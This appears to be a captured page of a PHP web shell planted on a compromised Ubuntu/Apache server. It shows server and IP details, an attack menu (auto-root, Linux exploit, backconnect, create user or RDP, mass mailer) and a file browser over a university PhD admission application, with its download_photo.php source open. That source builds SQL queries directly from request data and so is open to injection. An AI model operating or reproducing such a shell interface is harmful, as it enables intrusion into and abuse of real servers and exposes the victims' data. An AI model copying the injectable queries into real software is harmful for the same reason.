Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.128.78.107
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
gach /
phdadm /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationFormReportPOSTOFFIC...
19.27
KB
-rwxr-xr-x
applicationFormReportSBM.php
15.18
KB
-rwxr-xr-x
applicationFormReportSBM_old.p...
8.42
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
cappcontext.php
2.66
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
download_photo.php
4.4
KB
-rwxr-xr-x
dropdown.php
844
B
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
fpdf_protection.php
5.61
KB
-rwxr-xr-x
getdata.php
1.06
KB
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
hallticket.php
6.49
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
kusphdadm.php
12.6
KB
-rwxr-xr-x
kusphdadm_bkp.php
6.28
KB
-rwxr-xr-x
mregistry.php
3.43
KB
-rwxr-xr-x
re_rigistration.php
7.38
KB
-rwxr-xr-x
report_hall_ticket.php
11.53
KB
-rwxr-xr-x
reportapplicationform - Copy.p...
19.59
KB
-rwxr-xr-x
reportapplicationform.php
23.92
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
saveApplication.php
8.2
KB
-rwxr-xr-x
saveRerigistration.php
10.87
KB
-rwxr-xr-x
student.php
5.33
KB
-rwxr-xr-x
subfeedetl.php
3.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : download_photo.php
<?php session_start(); function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function downloadAllStudentPhotos($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $degree_code = $aobj_context->mobj_data['degreeCode']; $_SESSION['degree_codeImgUp']=$degree_code; $RegNo_start = substr("00000000".$aobj_context->mobj_data["regStart"],-8); $RegNo_end = substr("ZZZZZZZZ".$aobj_context->mobj_data["regEnd"],-8); $sql_dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW())) as dateFormat "; $lobj_dateFormat = $aobj_context->mobj_db->getRow($sql_dateFormat); $get_studentInfo = "select fdegree,fregno,FPHOTOPATH from student where fdegree = '{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}' AND IFNULL(FPHOTOPATH,'') != '' ORDER BY fregno "; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); $desDirectry = $aobj_context->main_src."/tmpphotos/".$degree_code.$lobj_dateFormat[dateFormat].'/'; $photoDownloadCnt=0; foreach($lobj_get_studentInfo as $key=>$value) { $fURI =''; $photo_path = $value['FPHOTOPATH']; $file_name=replaceChars(basename($photo_path)); if(!empty($photo_path) && file_exists($photo_path)) { $fURI = $photo_path; } if(!is_dir($desDirectry)) { mkdir($desDirectry); chmod($desDirectry,0777); } $regno_index = $value['fregno']; $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path= $desDirectry.$regno_index.".".$ext; if (file_exists($fURI)) { $target_file = $full_file_path;// Path to a local file if (file_exists( $target_file )) { $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n"; } else { $ifmodhdr = ''; } $rc = copy( $fURI, $target_file); if($rc) { $photoDownloadCnt++; if ( fclose( $rc ) ) { unset( $err ); } else { $err = error_get_last(); } } else { $err = error_get_last(); } } } $the_folder = $desDirectry; $zip_file_name = "tmpphotos/"."{$degree_code}{$lobj_dateFormat[dateFormat]}.zip"; $download_file= true; $za = new FlxZipArchive; $res = $za->open($zip_file_name, ZipArchive::CREATE); if($res === TRUE) { $za->addDir($the_folder, basename($the_folder)); $za->close(); } else { echo 'Could not create a zip archive'; } if($download_file) { ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zip_file_name)); readfile($zip_file_name); } } class FlxZipArchive extends ZipArchive { public function addDir($location, $name) { $this->addDirDo($location, $name); } private function addDirDo($location, $name) { $name .= '/'; $location .= '/'; $dir = opendir ($location); while ($file = readdir($dir)) { if ($file == '.' || $file == '..') continue; // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File(); $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile'; $this->$do($location . $file, $name . $file); } } } function checkForAttachments($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_from = $aobj_context->mobj_data['college_from']; $college_to = $aobj_context->mobj_data['college_to']; $degree_from = $aobj_context->mobj_data['degree_from']; $degree_to = $aobj_context->mobj_data['degree_to']; $get_studentInfo = "SELECT DISTINCT fcollcode, fdegree FROM student WHERE fdegree BETWEEN '{$degree_from}' AND '{$degree_to}' AND fcollcode BETWEEN '{$college_from}' AND '{$college_to}' ORDER BY fcollcode,fdegree"; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); if(count($lobj_get_studentInfo) > 0) { $arr = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"success"); } }
Close